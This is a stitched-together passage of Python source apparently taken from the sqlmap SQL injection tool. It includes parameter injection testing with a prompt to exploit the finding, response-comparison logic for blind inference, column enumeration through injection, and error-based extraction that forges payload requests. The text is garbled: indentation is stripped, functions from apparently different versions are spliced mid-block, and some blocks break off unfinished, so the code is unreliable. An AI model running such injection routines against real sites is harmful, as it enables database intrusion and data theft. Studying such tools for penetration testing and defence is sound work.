if PLACE.COOKIE in conf.parameters:
message = "you provided an HTTP Cookie header value. "
message += "The target url provided its own Cookie within "
message += "the HTTP Set-Cookie header. Do you want to "
message += "continue using the HTTP Cookie values that "
message += "you provided? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
setCookieAsInjectable = False
if setCookieAsInjectable:
conf.httpHeaders.append(("Cookie", cookieStr))
conf.parameters[PLACE.COOKIE] = cookieStr
__paramDict = paramToDict(PLACE.COOKIE, cookieStr)
if __paramDict:
conf.paramDict[PLACE.COOKIE] = __paramDict
# TODO: consider the following line in __setRequestParams()
# __testableParameters = True
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
and (kb.injection.place is None or kb.injection.parameter is None):
if not conf.string and not conf.regexp:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
checkStability()
# Do a little prioritization reorder of a testable parameter list
parameters = conf.parameters.keys()
# Order of testing list (last to first)
orderList = (PLACE.URI, PLACE.GET, PLACE.POST)
for place in orderList:
if place in parameters:
parameters.remove(place)
parameters.insert(0, place)
proceed = True
for place in parameters:
# Test User-Agent and Referer headers only if
# --level >= 3
skip = (place == PLACE.UA and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)
# Test Cookie header only if --level >= 2
skip |= (place == PLACE.COOKIE and conf.level < 2)
skip &= not (place == PLACE.UA and intersect(
USER_AGENT_ALIASES, conf.testParameter))
skip &= not (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.testParameter))
if skip:
continue
if not conf.paramDict.has_key(place):
continue
paramDict = conf.paramDict[place]
for parameter, value in paramDict.items():
if not proceed:
break
testSqlInj = True
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
testSqlInj = False
infoMsg = "skipping previously processed %s parameter '%s'" % (
place, parameter)
logger.info(infoMsg)
# Avoid dinamicity test if the user provided the
# parameter manually
elif parameter in conf.testParameter or conf.realTest:
pass
elif not checkDynParam(place, parameter, value):
warnMsg = "%s parameter '%s' is not dynamic" % (
place, parameter)
logger.warn(warnMsg)
else:
logMsg = "%s parameter '%s' is dynamic" % (
place, parameter)
logger.info(logMsg)
kb.testedParams.add(paramKey)
if testSqlInj:
check = heuristicCheckSqlInjection(
place, parameter)
if not check and conf.realTest and\
not simpletonCheckSqlInjection(place, parameter, value):
continue
logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s'" % parameter
logger.info(logMsg)
injection = checkSqlInjection(
place, parameter, value)
proceed = not kb.endDetection
if injection is not None and injection.place is not None:
kb.injections.append(injection)
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
msg = "%s parameter '%s' " % (
injection.place, injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others? [y/N] "
test = readInput(msg, default="N")
if test[0] in ("n", "N"):
proceed = False
paramKey = (conf.hostname, conf.path, None,
None)
kb.testedParams.add(paramKey)
else:
warnMsg = "%s parameter '%s' is not " % (
place, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
if len(kb.injections) == 0 or (len(kb.injections) == 1
and kb.injections[0].place is None):
if not conf.realTest:
errMsg = "all parameters are not injectable, try to "
errMsg += "increase --level/--risk values to perform "
errMsg += "more tests."
if isinstance(conf.tech, list) and len(conf.tech) > 0:
errMsg += " Rerun without providing the --technique switch."
if not conf.textOnly and kb.originalPage:
percent = (
100.0 *
len(getFilteredPageContent(kb.originalPage)) /
len(kb.originalPage))
errMsg += " Give it a go with the --text-only switch "
errMsg += "if the target page has a low percentage of "
errMsg += "textual content (~%.2f%% of " % percent
errMsg += "page content is text)"
raise sqlmapNotVulnerableException, errMsg
else:
errMsg = "it seems that all parameters are not injectable"
raise sqlmapNotVulnerableException, errMsg
else:
# Flush the flag
kb.testMode = False
__saveToSessionFile()
__showInjections()
__selectInjection()
if kb.injection.place is not None and kb.injection.parameter is not None:
if kb.testQueryCount == 0 and conf.realTest:
condition = False
elif conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")
condition = not exploit or exploit[0] in ("y", "Y")
else:
condition = True
if condition:
action()
except KeyboardInterrupt:
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
message = "do you want to skip to the next target in list? [Y/n/q]"
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
pass
elif test[0] in ("n", "N"):
return False
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
raise
except sqlmapUserQuitException:
raise
except sqlmapSilentQuitException:
raise
except exceptionsTuple, e:
e = getUnicode(e)
if conf.multipleTargets:
e += ", skipping to the next %s" % ("form"
if conf.forms else "url")
logger.error(e)
else:
logger.critical(e)
return False
finally:
def _comparison(page, headers, code, getRatioValue, pageLength):
threadData = getCurrentThreadData()
if kb.testMode:
threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else ""
threadData.lastComparisonPage = page
threadData.lastComparisonCode = code
if page is None and pageLength is None:
return None
if any((conf.string, conf.notString, conf.regexp)):
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
# String to match in page when the query is True
if conf.string:
return conf.string in rawResponse
# String to match in page when the query is False
if conf.notString:
if conf.notString in rawResponse:
return False
else:
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
return None
else:
return True
# Regular expression to match in page when the query is True and/or valid
if conf.regexp:
return re.search(conf.regexp, rawResponse, re.I | re.M) is not None
# HTTP code to match when the query is valid
if conf.code:
return conf.code == code
seqMatcher = threadData.seqMatcher
seqMatcher.set_seq1(kb.pageTemplate)
if page:
# In case of an DBMS error page return None
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
return None
# Dynamic content lines to be excluded before comparison
if not kb.nullConnection:
page = removeDynamicContent(page)
seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate))
if not pageLength:
pageLength = len(page)
if kb.nullConnection and pageLength:
if not seqMatcher.a:
errMsg = "problem occurred while retrieving original page content "
errMsg += "which prevents sqlmap from continuation. Please rerun, "
errMsg += "and if the problem persists turn off any optimization switches"
raise SqlmapNoneDataException(errMsg)
ratio = 1. * pageLength / len(seqMatcher.a)
if ratio > 1.:
ratio = 1. / ratio
else:
# Preventing "Unicode equal comparison failed to convert both arguments to Unicode"
# (e.g. if one page is PDF and the other is HTML)
if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type):
page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type):
seqMatcher.a = getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
if any(_ is None for _ in (page, seqMatcher.a)):
return None
elif seqMatcher.a and page and seqMatcher.a == page:
ratio = 1.
elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
if not page or not seqMatcher.a:
return float(seqMatcher.a == page)
else:
ratio = 1. * len(seqMatcher.a) / len(page)
if ratio > 1:
ratio = 1. / ratio
else:
seq1, seq2 = None, None
if conf.titles:
seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
else:
seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
if seq1 is None or seq2 is None:
return None
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
if kb.heavilyDynamic:
seq1 = seq1.split("\n")
seq2 = seq2.split("\n")
seqMatcher.set_seq1(seq1)
seqMatcher.set_seq2(seq2)
ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3)
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if kb.matchRatio is None:
if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
kb.matchRatio = ratio
logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio)
if kb.testMode:
threadData.lastComparisonRatio = ratio
# If it has been requested to return the ratio and not a comparison
# response
if getRatioValue:
return ratio
elif ratio > UPPER_RATIO_BOUND:
return True
elif ratio < LOWER_RATIO_BOUND:
return False
elif kb.matchRatio is None:
return None
else:
return (ratio - kb.matchRatio) > DIFF_TOLERANCE
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
def getColumns(self,
onlyColNames=False,
colTuple=None,
bruteForce=None,
dumpMode=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
if not conf.db:
errMsg = "unable to retrieve the current "
errMsg += "database name"
raise SqlmapNoneDataException(errMsg)
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.HSQLDB):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(',')
else:
colList = []
if conf.excludeCol:
colList = [
_ for _ in colList if _ not in conf.excludeCol.split(',')
]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.HSQLDB):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
tblList = list(tblList)
elif not conf.search:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
raise SqlmapNoneDataException(errMsg)
else:
return kb.data.cachedColumns
tblList = filter(None, (safeSQLIdentificatorNaming(_, True)
for _ in tblList))
if bruteForce is None:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is %s" % DBMS.ACCESS
logger.error(errMsg)
bruteForce = True
if bruteForce:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = {
safeSQLIdentificatorNaming(tbl, True): columns
}
return kb.data.cachedColumns
message = "do you want to use common column existence check? %s" % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(
condQueryStr %
(condition, unsafeSQLIdentificatorNaming(col))
for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
DBMS.HSQLDB):
query = rootQuery.inband.query % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (
unsafeSQLIdentificatorNaming(tbl.upper()),
unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db,
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
DBMS.FIREBIRD):
query = rootQuery.inband.query % tbl
if dumpMode and colList:
values = [(_, ) for _ in colList]
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
values = None
if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(
PAYLOAD.TECHNIQUE.UNION):
expression = query
kb.dumpColumns = []
kb.rowXmlMode = True
for column in extractRegexResult(
r"SELECT (?P<result>.+?) FROM",
query).split(','):
kb.dumpColumns.append(randomStr().lower())
expression = expression.replace(
column,
"%s AS %s" % (column, kb.dumpColumns[-1]), 1)
values = unionUse(expression)
kb.rowXmlMode = False
kb.dumpColumns = None
if values is None:
values = inject.getValue(query,
blind=False,
time=False)
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
index, values = 1, []
while True:
query = rootQuery.inband.query2 % (conf.db, tbl, index)
value = unArrayizeValue(
inject.getValue(query, blind=False, time=False))
if isNoneValue(value) or value == " ":
break
else:
values.append((value, ))
index += 1
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(unArrayizeValue(values))
elif not isNoneValue(values):
table = {}
columns = {}
for columnData in values:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
if name:
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms(
)].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (
DBMS.ORACLE, DBMS.DB2):
query = _.query % (
unsafeSQLIdentificatorNaming(
conf.db.upper()),
unsafeSQLIdentificatorNaming(
tbl.upper()),
unsafeSQLIdentificatorNaming(
name.upper()))
else:
query = _.query % (
unsafeSQLIdentificatorNaming(
conf.db),
unsafeSQLIdentificatorNaming(
tbl),
unsafeSQLIdentificatorNaming(
name))
comment = unArrayizeValue(
inject.getValue(query,
blind=False,
time=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (
comment, name)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms(
)
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if len(columnData) == 1:
columns[name] = None
else:
if Backend.isDbms(DBMS.FIREBIRD):
columnData[1] = FIREBIRD_TYPES.get(
int(columnData[1]) if isinstance(
columnData[1], basestring)
and columnData[1].isdigit() else
columnData[1], columnData[1])
columns[name] = columnData[1]
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(
condQueryStr %
(condition, unsafeSQLIdentificatorNaming(col))
for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
DBMS.HSQLDB):
query = rootQuery.blind.count % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (
unsafeSQLIdentificatorNaming(tbl.upper()),
unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = unArrayizeValue(
inject.getValue(query, union=False, error=False))
parseSqliteTableSchema(value)
return kb.data.cachedColumns
table = {}
columns = {}
if dumpMode and colList:
count = 0
for value in colList:
columns[safeSQLIdentificatorNaming(value)] = None
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.MSSQL):
count, index, values = 0, 1, []
while True:
query = rootQuery.blind.query3 % (conf.db, tbl,
index)
value = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
if isNoneValue(value) or value == " ":
break
else:
columns[safeSQLIdentificatorNaming(
value)] = None
index += 1
if not columns:
errMsg = "unable to retrieve the %scolumns " % (
"number of "
if not Backend.isDbms(DBMS.MSSQL) else "")
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.error(errMsg)
continue
for index in getLimitRange(count):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
DBMS.HSQLDB):
query = rootQuery.blind.query % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = rootQuery.blind.query % (
unsafeSQLIdentificatorNaming(tbl.upper()),
unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
field = None
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query.replace(
"'%s'", "'%s'" %
unsafeSQLIdentificatorNaming(tbl).split(".")[-1]
).replace("%s", conf.db).replace("%d", str(index))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field, field)
column = unArrayizeValue(
inject.getValue(query, union=False, error=False))
if not isNoneValue(column):
if conf.getComments:
_ = queries[
Backend.getIdentifiedDbms()].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = _.query % (
unsafeSQLIdentificatorNaming(
conf.db.upper()),
unsafeSQLIdentificatorNaming(
tbl.upper()),
unsafeSQLIdentificatorNaming(
column.upper()))
else:
query = _.query % (
unsafeSQLIdentificatorNaming(conf.db),
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(column))
comment = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (
comment, column)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms(
)
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,
DBMS.PGSQL):
query = rootQuery.blind.query2 % (
unsafeSQLIdentificatorNaming(tbl), column,
unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = rootQuery.blind.query2 % (
unsafeSQLIdentificatorNaming(
tbl.upper()), column,
unsafeSQLIdentificatorNaming(
conf.db.upper()))
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (
conf.db, conf.db, conf.db, conf.db, column,
conf.db, conf.db, conf.db,
unsafeSQLIdentificatorNaming(tbl).split(
".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
colType = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
if Backend.isDbms(DBMS.FIREBIRD):
colType = FIREBIRD_TYPES.get(colType, colType)
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
if columns:
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
if not kb.data.cachedColumns:
warnMsg = "unable to retrieve column names for "
warnMsg += ("table '%s' " %
unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))
) if len(tblList) == 1 else "any table "
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.warn(warnMsg)
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames,
colTuple=colTuple,
bruteForce=True)
return kb.data.cachedColumns
try:
page = data.read()
except Exception, msg:
errMsg = "detected invalid data for declared content "
errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg)
singleTimeLogMessage(errMsg, logging.ERROR)
if not conf.charset:
httpCharset, metaCharset = None, None
# http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
if contentType and (contentType.find('charset=') != -1):
httpCharset = checkCharEncoding(contentType.split('charset=')[-1])
metaCharset = checkCharEncoding(
extractRegexResult(META_CHARSET_REGEX, page,
re.DOTALL | re.IGNORECASE))
if ((httpCharset or metaCharset) and not all([httpCharset, metaCharset]))\
or (httpCharset == metaCharset and all([httpCharset, metaCharset])):
kb.pageEncoding = httpCharset or metaCharset
else:
kb.pageEncoding = None
else:
kb.pageEncoding = conf.charset
if contentType and not isinstance(page, unicode) and any(
map(lambda x: x in contentType.lower(),
('text/txt', 'text/raw', 'text/html', 'text/xml'))):
# can't do for all responses because we need to support binary files too
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(
getHeuristicCharEncoding(page))
def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1
rotator = 0
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..."
logger.debug(debugMsg)
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
if Backend.isDbms(DBMS.ORACLE):
testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar)
else:
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
if (result or "").startswith(testChar):
if result == testChar * current:
kb.errorChunkLength = current
break
else:
result = re.search(r"\A\w+", result).group(0)
candidate = len(result) - len(kb.chars.stop)
current = candidate if candidate != current else current - 1
else:
current = current // 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
if retVal is None or partialValue:
try:
while True:
check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
# Forge the error-based SQL injection request
vector = kb.injection.data[getTechnique()].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(getTechnique())
if page and conf.noEscape:
page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)
# Parse the returned page to get the exact error-based
# SQL injection output
output = firstNotNone(
extractRegexResult(check, page),
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
)
if output is not None:
output = getUnicode(output)
else:
trimmed = firstNotNone(
extractRegexResult(trimCheck, page),
extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
)
if trimmed:
if not chunkTest:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if not kb.testMode:
check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2]
output = extractRegexResult(check, trimmed, re.IGNORECASE)
if not output:
check = r"(?P<result>[^\s<>'\"]+)"
output = extractRegexResult(check, trimmed, re.IGNORECASE)
else:
output = output.rstrip()
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength
else:
break
if output and conf.verbose in (1, 2) and not conf.api:
if kb.fileReadMode:
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
elif offset > 1:
rotator += 1
if rotator >= len(ROTATING_CHARS):
rotator = 0
dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, six.string_types):
retVal = htmlUnescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
